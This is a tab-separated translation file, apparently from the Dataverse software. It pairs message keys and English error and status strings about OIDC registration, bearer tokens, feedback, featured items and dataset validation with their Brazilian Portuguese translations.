registerOidcUserCommand.errors.provideMissingClaimsDisabled.fieldRequired	The OIDC identity provider does not provide the user claim {0}, which is required for user registration. Please contact an administrator.	O provedor de identidade OIDC não fornece a declaração de usuário {0}, que é necessária para o registro do usuário. Entre em contato com um administrador.
registerOidcUserCommand.errors.emailAddressInUse	Email already in use.	E-mail já em uso.
registerOidcUserCommand.errors.usernameInUse	Username already in use.	Nome de usuário já em uso.
bearerTokenAuthMechanism.errors.tokenValidatedButNoRegisteredUser	Bearer token is validated, but there is no linked user account.	O token de portador foi validado, mas não há nenhuma conta de usuário vinculada.
authenticationServiceBean.errors.unauthorizedBearerToken	Unauthorized bearer token.	Token de portador não autorizado.
authenticationServiceBean.errors.invalidBearerToken	Could not parse bearer token.	Não foi possível analisar o token de portador.
authenticationServiceBean.errors.bearerTokenDetectedNoOIDCProviderConfigured	Bearer token detected, no OIDC provider configured.	Token de portador detectado, nenhum provedor OIDC configurado.
sendfeedback.request.error.targetNotFound	Feedback target object not found.	Objeto de destino do feedback não encontrado.
sendfeedback.request.rateLimited	Too many requests to send feedback.	Muitas solicitações para enviar feedback.
sendfeedback.body.error.exceedsLength	Body exceeds feedback length: {0} > {1}}.	O corpo excede o comprimento do feedback: {0} > {1}}.
sendfeedback.body.error.isEmpty	Body can not be empty.	O corpo não pode estar vazio.
sendfeedback.body.error.missingRequiredFields	Body missing required fields.	Campos obrigatórios ausentes no corpo.
sendfeedback.fromEmail.error.missing	Missing fromEmail	E-mail de origem ausente.
sendfeedback.fromEmail.error.invalid	Invalid fromEmail: {0}	E-mail de origem inválido: {0}
dataverseFeaturedItems.errors.notFound	Could not find dataverse featured item with identifier {0}	Não foi possível encontrar o item em destaque do Dataverse com o identificador {0}.
dataverseFeaturedItems.errors.notPublished	{0} must be published to be featured.	{0} deve ser publicado para ser destacado.
dataverseFeaturedItems.errors.restricted	Datafile must not be restricted to be featured.	O arquivo de dados não deve ser restrito para ser destacado.
dataverseFeaturedItems.delete.successful	Successfully deleted dataverse featured item with identifier {0}	Item em destaque do dataverse excluído com sucesso com o identificador {0}
datasetFieldValidator.error.emptyRequiredMultipleValueForField	Empty multiple required value for field: {0}	Valor múltiplo obrigatório vazio para o campo: {0}
datasetFieldValidator.error.emptyRequiredControlledVocabularyValueForField	Empty controlled vocabulary required value for field: {0}	Valor obrigatório de vocabulário controlado vazio para o campo: {0}
datasetFieldValidator.error.emptyRequiredCompoundValueForField	Empty compound required value for field: {0}	Valor composto obrigatório vazio para o campo: {0}
datasetFieldValidator.error.emptyRequiredSingleValueForField	Empty required value for field: {0}	Valor obrigatório vazio para o campo: {0}
updateDatasetFieldsCommand.api.processDatasetUpdate.parseError	Error parsing dataset update: {0}	Erro ao analisar a atualização do conjunto de dados: {0}
abstractApiBean.error.internalVersionTimestampIsOutdated	Internal version timestamp {0} is outdated	O carimbo de data/hora da versão interna {0} está desatualizado
roleAssigneeServiceBean.error.dataverseRequestCannotBeNull	DataverseRequest cannot be null.	DataverseRequest não pode ser nulo.
getUserPermittedCollectionsCommand.errors.userNotFound	User not found.	Usuário não encontrado.
getUserPermittedCollectionsCommand.errors.permissionNotValid	Permission not valid.	Permissão inválida.
abstractPaginatedCommand.errors.negativePaginationParam	The {0} parameter cannot be negative.	O parâmetro {0} não pode ser negativo.
updateDatasetLicenseCommand.errors.licenseNotActive	License {0} cannot be set because it is not active.	A licença {0} não pode ser definida porque não está ativa.
updateDatasetLicenseCommand.errors.customTermsOfUseNotProvided	Terms of use text should be provided in custom terms.	O texto dos termos de uso deve ser fornecido em termos personalizados.